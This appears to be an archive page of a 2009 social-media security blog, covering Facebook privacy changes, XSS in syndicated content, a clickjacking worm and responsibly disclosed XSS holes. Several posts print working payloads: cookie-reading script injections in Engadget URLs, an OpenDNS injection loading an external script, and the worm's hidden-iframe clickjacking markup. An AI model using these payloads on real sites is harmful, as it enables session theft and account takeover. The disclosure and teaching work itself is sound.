New Facebook Privacy Settings: For Better or For Worse?

Everyone has probably already heard that Facebook rolled out new privacy settings today.  If you haven’t seen them or gotten the following pop-up box on login…you will soon:

message1

There are a great deal of articles already out about how this is such a great improvement and how these new settings give you more control over your privacy.  However, I would argue that these settings may possibly open up more issues then they are trying to prevent.  The best article on the new settings and the privacy implications is the one that the Electronic Frontier Foundation (EFF) released today titled: Facebook’s New Privacy Changes: The Good, The Bad, and The Ugly.  I recommend everyone (no pun intended) read this article as it provides much more detail then I will provide in this post.

What I want to do is provide you with a summary of the good and the bad of the new privacy settings.  I also want to give a security professional’s point of view on these settings.  As a penetration tester I can tell you that my job just got way easier!  You may have read my series on Enterprise Open Source Intelligence Gathering in which I tell you how you can find information on social networks about your company and employees.  Well, searching for information on Facebook just got easier thanks to status updates being available using new technology like Google Real-time Search!  Ok, on to the better and the worse!

The Better?

  • The new way privacy settings are “managed” is a good thing.  It’s easier to find and navigate through the settings.
  • I like that they ask you for your password to change privacy settings.  It’s just another layer.  Now, this doesn’t help much if you have a keylogger installed but it seems they put this in to prevent bots that may have taken over your account access to your settings.  Again, not fool proof but another layer.
  • The ability to fully customize privacy settings on all the content you post.  So for example, you can specify if you want everyone on the Internet to view your status updates (more on that in a minute) or Friends, Friends of Friends and Custom.
  • Users are now somewhat “forced” to check out their privacy settings.  It’s more accessible that’s for sure.

The Worse?

  • Your Name, Profile Picture, Gender, Current City, Networks, Friend List, and Pages are all available to be viewed by EVERYONE on Facebook! You cannot change these settings at all.  Note, there is a way to remove your entire Friends List from your profile but it’s all or nothing!  Here is a screen shot of this. You have to set it in your profile page using the “edit” button and check the box.These changes are quite disturbing considering that you used to be able to restrict this type of information.  I really believe that Facebook has done this on purpose so *more* information is being shared about you while stating “enhanced” more granular privacy settings.  If you have been to one of my talks in the past I always mention that social networks need to find ways to make money.  The way they make money is off of the information you share!  If you don’t get a choice about the basic information anymore…that’s more money in their pocket at the expense of your privacy.
  • What about the security ramifications of this? It opens up a whole new world for cyberstalking, predators and other attackers.  If you were someone that didn’t feel comfortable sharing this information in the first place, your choice is gone.  Sure, you can lock down your profile so no one can search for you but if you do that…why are you on Facebook to begin with?  You *have* to let your real friends search for you at some point!
  • By default Facebook “suggests” that you set your status updates to “Everyone”.  Here is the thing with status updates….Everyone means everyone on the Internet!  This is where new technology like Google RTS comes into play.  Imagine how easy it will be to find the latest information on “Tiger Woods” or now everything YOU are saying on Facebook, Twitter and other social networks.  Enter in some social engineering and things just got easier for attackers looking to use you or your information (which is easy to figure out now that I can see your friends, and things that interest you via the pages your a fan of).
  • Lastly, Facebook removed the ability to prevent Facebook applications your friends installed from pulling your “public” information.  That option is now gone and applications that your friends install can now view your “public” info.  Remember kids, “public” info is now: Your Name, Profile Picture, Gender, Current City, Networks, Friend List, and Pages.

One final note…be sure to double check all your privacy settings after you run the wizard.  I found a few settings that reverted back to settings I never had.  So what are your thoughts?  Will this make you lock your profile down more?  Do you care?  Is privacy dead anyway? Will Zombies destroy us all? :-)

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Security in Syndicated and Federated Systems

In an amusing story earlier this year, a technology news reporter writing on a particular security problem unwittingly demonstrated the issue by publishing an article. ReadWriteWeb posted a story on cross-site scripting holes on McAfee’s web site, and the article included some sample code that could be used in an attack. Unfortunately, the New York Times syndicates some articles from RWW, including this one on XSS, and at the time did not filter code in RWW reports. Consequently, the sample code actually rendered in the New York Times version of the article, producing another example of cross-site scripting.

In broad strokes, a syndicated system occurs when one application or network loads content from another (one-way) while a federated system involves two applications or networks exchanging content in a fully interoperable fashion (two-way). RSS is a syndicated setup – your reader simply loads an XML feed from the site you subscribe to. E-mail is a federated system – many SMTP servers exchange messages with each other.

Both syndicated and federated systems have to deal with a potential security problem: outside content. Any time you load data (particualrly in a web application) that’s not under your control, you need to put in filters to avoid such issues as cross-site scripting. The problem here is not a matter of trust – I’m sure the New York Times considered ReadWriteWeb a trusted source. The problem is that other sources of content may not always provide what your application is expecting. Rather than assume the data’s formatted and encoded correctly, assume it’s not and take appropriate action. This is merely one example of the type of thinking security researchers routinely employ – and a mindset developers need to use more often.

I recently came across another minor example of syndication leading to XSS. The search engine Cuil recently announced that they were launching an opt-in feature to index the posts of your friends on Facebook and include those posts in your search results. Aside from the privacy ramifications (you may be surprised to learn that settings for uninstalled apps and Facebook Connect sites don’t seem to apply to Cuil’s search results), I wondered how secure Cuil’s implementation would be in practice.

Overall, the feature seems to work like most Facebook Connect sites, and thus poses no inherent security problems. However, I did find quickly that Cuil was not encoding the results from Facebook. That is, a friend could post a status saying, “testing <script>alert(document.cookie)</script>” and searching for “testing” in Cuil would load the alert dialog. Obviously the impact of such an attack would be minimal, as it requires jumping through a few hoops first, but it again illustrates accidental XSS via syndicated content. Note that XSS in a Facebook Connect application would open the door to a FAXX-style attack.

An example of a federated system that causes me some concern is Google Wave. When I first started looking at Google Wave from a security standpoint, I admit that I did not fully understand the architecture of the product. In essence, Wave includes two distinct components – a server and a client. On the server end, Wave is an XMPP service that can communicate with any compatible setup. On the client side, Wave is the web interface hosted at wave.google.com for loading messages from servers.

Once I understood this division, I thought it even more important to discuss the security implications of gadgets within waves. I fully expect Google to address most, if not all, of the issues I raised regarding gadgets. (In fact, last time I checked, it appeared they had changed the domains of container iframes, stopping cross-gadget access). But if Wave really does catch on, Google’s client interface will not be the only one on the market. Since gadgets render as HTML/CSS/JavaScript, Wave clients will almost assuredly have some sort of web browser component. If the company that invented Wave did not factor in some of the security considerations I and others have noted in their original client, there’s a good chance other developers will not take into account similar issues unless people raise awareness.

However, security in Wave clients deals with only one direction of a federated system. I’m still wondering how certain aspects of federated waves will work in practice. For instance, from what I understand, each thread of messages in Wave will be stored on the server hosting the thread. What will happen if that server becomes suddenly unavailable? How will corporate record-keeping and e-discovery And while Google’s Wave servers will likely be quite secure, what about other servers?

Granted, some questions about Wave servers could be raised about similar systems, such as e-mail. But several of the decentralized aspects of Wave distinguish it from a typical e-mail setup, and could prove to be good experiments in light of proposals for decentralized social networking. I’ve long supported the idea of distributed social networking, but also felt it could lead to many performance and usability problems not found in a walled garden (I’ve been meaning to write a blog post entitled “In Defense of Walled Gardens” for at least a year). Wave may be one of the first large-scale attempts at building a distributed application somewhat akin to social networking.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Social Media Security Podcast 6 – Privacy, Photo Tagging, Facebook Police, What is Clickjacking

skullThis is the 6th episode of the Social Media Security Podcast recorded December 3, 2009.  This episode was hosted by Tom Eston and Kevin JohnsonScott Wright joins in as “god” during post-edit.  Below are the show notes, links to articles and news mentioned in the podcast:

  • New privacy settings in Facebook are rolling out, regional networks are being removed.  Be sure to check out the comments under Mark Zuckerberg’s blog post…all spam!
  • Is Facebook photo tagging still a big fail?
    Scott clarifies this for us.  The solution to this is to adjust your privacy settings to allow only you to see tagged photos of yourself and ensure email alerting is on to alert you when a new photo is tagged of you.  That way you can easily remove any tagged photo of you.  There is also no way to “prevent” a photo of you being tagged.  However, to tag someone they need to be in your friends list.  How about false tagging?  Someone tagging you in a naughty picture…reputation issue?  What if you don’t have a Facebook account and friends make comments regardless?
  • Police create fake Facebook account to bust a college student for underage drinking.  Did the police go too far or this is acceptable practice in this day and age?
  • Kevin talks about Clickjacking.  What is it and what do users of social networks need to be aware of?

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes! Thanks for listening!

Social Media Security Podcast 5 – Google Reader, Privacy, Wave, ChromeOS and Foursquare

skullThis is the 5th episode of the Social Media Security Podcast recorded November 20, 2009.  This episode was hosted by Scott Wright and Tom Eston. Kevin Johnson will be joining us for the next podcast.  Below are the show notes, links to articles and news mentioned in the podcast:

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes! Thanks for listening!

Facebook Worm Uses Clickjacking in the Wild

Reports have been spreading today of a new Facebook worm that posts a link to the infection page on people’s profiles. The infection page itself includes a button that users are told to click, with the promise of seeing “something hot” or dominating FarmVille. Nick FitzGerald at AVG posted a walkthrough of the worm (warning: slightly NSFW image), and when explaining how the worm operated, gave an explanation similar to that of other articles I saw:

A sequence of iframes on the exploit page call a sequence of other pages and scripts, eventually resulting in a form submission to Facebook “as if” the victim had submitted a URL for a wall post and clicked on the “Share” button to confirm the post.

With all due respect to FitzGerald and others, I was suspicious. First, I know from experience what sort of CSRF protections Facebook has put in place. Second, if this were truly just CSRF, why not execute the attack on loading the page instead of requiring a second click?

I do know of one relative of CSRF attacks (some classify it as simply CSRF, but I do see a distinction) that requires another click, and that’s clickjacking. I decided to check out an infection page to see exactly what was going on.

Sure enough, both the “hot” and “dominate FarmVille” pages load in invisible iframe, which calls for another local page, which in turn loads another invisible iframe. The actual source of the second local page looks like this (URI edited):

<html><head></head><body><div style=”overflow: hidden; width: 56px; height: 24px; position: relative;” id=”div”>
<iframe name=”iframe” src=”http://EVILURI/index.php?n=632″ style=”border: 0pt none ; left: -985px; top: -393px; position: absolute; width: 1618px; height: 978px;” scrolling=”no”></iframe></div></body></html>

The address that the iframe loads simply redirects to a Facebook share page with the infection page specified as the share link. Note that the style attribute on the iframe includes negative values for “left” and “top” – this ensures that when the page loads, the “Share” button for the Facebook page is at the top-left corner of the iframe, and thus positioned right underneath the button users think they are clicking.

It’s perhaps worth noting that the possibility of such a worm has been pointed out before, including on this blog:

All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:

Post a link to your profile. This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.

I also encouraged Facebook in my Month of Facebook Bugs Report to take clickjacking seriously. The behavior of this worm is only the beginning – as I’ve pointed out for months, a similar attack could authorize a Facebook application (malicious or hijacked) and steal user information while spreading links even more virally. This new worm may be one of the first examples of clickjacking used in the wild, but it certainly won’t be the last.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

XSS in Engadget’s New Site

I’m noticing a trend of sites patching the more obvious cross-site scripting vectors, such as search fields, but ignoring parameters in secondary pages, such as Ajax interfaces. Several applications in the Month of Facebook Bugs had pages for making Ajax calls or loading advertisements that were never meant to be loaded directly, yet doing so opened the door to XSS attacks. Keep in mind that any page on a given domain can access that domain’s cookies.

Yet another case in point came to my attention this week. I noticed that the technology news site Engadget had launched a redesign, and I began poking around the new site. After a little while, I came across four XSS vulnerabilities, all on the main www.engadget.com domain. I promptly reported the holes and they were silently patched in less than a day or two. Since they’ve all been fixed, I’ll list the example URIs I sent here for the record:

  • http://www.engadget.com/?a=ajax-comment-vote&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/?a=ajax-comment-show-replies&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/?a=ajax-comment-report&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/mm_track/Engadget/media/?title=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Previously, each one of these pages loaded the inserted script, which brings up an alert dialog containing the user’s cookies for Engadget. Kudos to the team behind Engadget for the quick fixes, and hopefully this will serve as another reminder to all developers to leave no page unchecked when evaluating security issues.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Real-Life Examples of Cross-Subdomain Issues

About two weeks ago, security researcher Mike Bailey posted a paper on cookie attacks via subdomains (hat tip: Jeremiah Grossman). I’ve seen several stories since then dealing with various subdomain security issues. In fact, the day after Bailey’s write-up, Yvo Schaap described several cases where Facebook and MySpace inadvertently exposed data through trust policies on particular subdomains.

I bring up subdomains to highlight two important considerations for developers. First, never ignore code hosted on subdomains. Your primary site may be secure, but vulnerabilities on one of your subdomains could still open you up to attacks. Second, make sure you understand how browsers handle subdomains. While generally subdomains are generally treated as separate from their parent domain, remember that changing document.domain can allow code to move up the DNS chain.

While Schaap illustrated the first point already, I can add one more example. A few weeks ago, I poked around a few OpenDNS pages, and noticed an oversight similar to some of the FAXX hacks I’d seen in September: an AJAX interface called directly rendered a good bit of HTML. While mostly filtered, I did come across one parameter that could be used to render injected code. The vulnerable page was hosted on guide.opendns.com, a subdomain used for presenting search results: http://guide.opendns.com/ajax_serp.php?q=&oq=><script src%3Dhttp://theharmonyguy.com/opendns.js></script>

OpenDNS patched this hole quickly after I disclosed it to them, and I doubt it would have had much serious impact. Any important cookies appear to be attached to www.opendns.com, which would not be accessible, and trying to change network properties would require accessing OpenDNS pages on HTTPS (and thus blocked by the browser).

I came across a striking example of my second point while reading about a new Twitter widget. A ReadWriteWeb reader commented that users of NetVibes, a custom home page service, could make use of the widgets by inserting them into an HTML widget available on NetVibes. I knew that the Twitter widgets required JavaScript, so I started testing NetVibes widgets in much the same way I looked at Google Wave gadgets.

Sure enough, NetVibes allowed JavaScript and iframes to be inserted into their widgets, though they again render in container iframes. More troublesome, though, is that these container iframes do not load in an entirely separate domain – they load in a subdomain of netvibes.com. Within minutes, I changed document.domain to netvibes.com and loaded the cookies associated with that domain. Thankfully my login cookies appear to only be tied to www.netvibes.com, and trying to load pages using URIs that don’t include “www” get forwarded to www.netvibes.com pages. Still, as much as I’ve criticized Google Wave’s gadget implementation, at least Google used a domain entirely separate from google.com for their gadgets. Finally, I would note that I could add potentially malicious NetVibes widgets to publicly accessible NetVibes pages, leading to persistent XSS issues.

As Bailey pointed out in his paper, “DNS was never intended to be a security feature.” Even with protections such as same-origin policies, I get a bit leery at times at how thin the walls preventing certain attacks can become. When building secure web applications, remember your subdomains and how they relate to each other.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Social Zombies at OWASP AppSec DC this Week

Continuing the zombie apocalypse from Defcon…Kevin Johnson and I will again be presenting “Social Zombies: Your Friends Want to Eat Your Brains” at this week’s OWASP AppSec DC conference.  We will be speaking Thursday, November 12th at 2:10 in room 146c.  We will have some new material and updates from the presentation we gave at Defcon 17 this year including the release of a new version of Robin Wood’s KreiosC2 (beyond Twitter for C&C).  If your going to the conference we hope to see you there!

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


1 9 10 11 12 13 28